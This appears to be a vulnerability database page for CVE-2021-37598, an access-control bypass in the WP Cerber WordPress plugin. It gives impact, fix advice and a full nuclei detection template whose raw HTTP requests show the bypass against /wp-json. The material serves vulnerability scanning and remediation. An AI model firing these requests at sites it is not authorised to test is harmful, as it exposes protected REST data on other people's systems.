Browse / CVEs / CVE-2021-37598
CVE-2021-37598· wp-cerber / wp-cerber· CWE-863
WP Cerber < 8.9.3 - Broken Access Control
mediumseverity
5.3CVSS score
2.4%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it
WP Cerber < 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing '?' character, letting unauthorized users access protected REST API endpoints. The exploit requires sending a request with a trailing '?'.
Impact
Unauthorized users can access protected REST API endpoints, potentially leading to information disclosure or further exploitation.
Fix
Update to version 8.9.3 or later.
How to confirm it
Send: GET /wp-json
Positive when: status_code == 403 || status_code == 404
Send: GET /wp-json?x=1
Positive when: contains_all(body, "\"name\":", "\"url\":", "\"home\":", "\"description\":") and regex("(?i)application/json", header) and status_code == 200Run it with nuclei: nuclei -id CVE-2021-37598 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-37598
info:
name: WP Cerber < 8.9.3 - Broken Access Control
author: theamanrawat
severity: medium
description: |
WP Cerber < 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing '?' character, letting unauthorized users access protected REST API endpoints. The exploit requires sending a request with a trailing '?'.
impact: |
Unauthorized users can access protected REST API endpoints, potentially leading to information disclosure or further exploitation.
remediation: |
Update to version 8.9.3 or later.
reference:
- https://github.com/mandiant/Vulnerability-Disclosures/blob/master/FEYE-2021-0024/FEYE-2021-0024.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-37598
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-37598
epss-score: 0.0235
epss-percentile: 0.83831
cwe-id: CWE-863
metadata:
verified: false
max-request: 2
vendor: wp-cerber
product: wp-cerber
tags: cve,cve2021,wordpress,wp-cerber,access-control,rest-api,exposure,auth-bypass
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 403 || status_code == 404'
internal: true
- raw:
- |
GET /wp-json?x=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "\"name\":", "\"url\":", "\"home\":", "\"description\":")'
- 'regex("(?i)application/json", header)'
- 'status_code == 200'
condition: andReferences
- https://github.com/mandiant/Vulnerability-Disclosures/blob/master/FEYE-2021-0024/FEYE-2021-0024.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-37598
Use this check only on systems you are authorised to test. Where the data comes from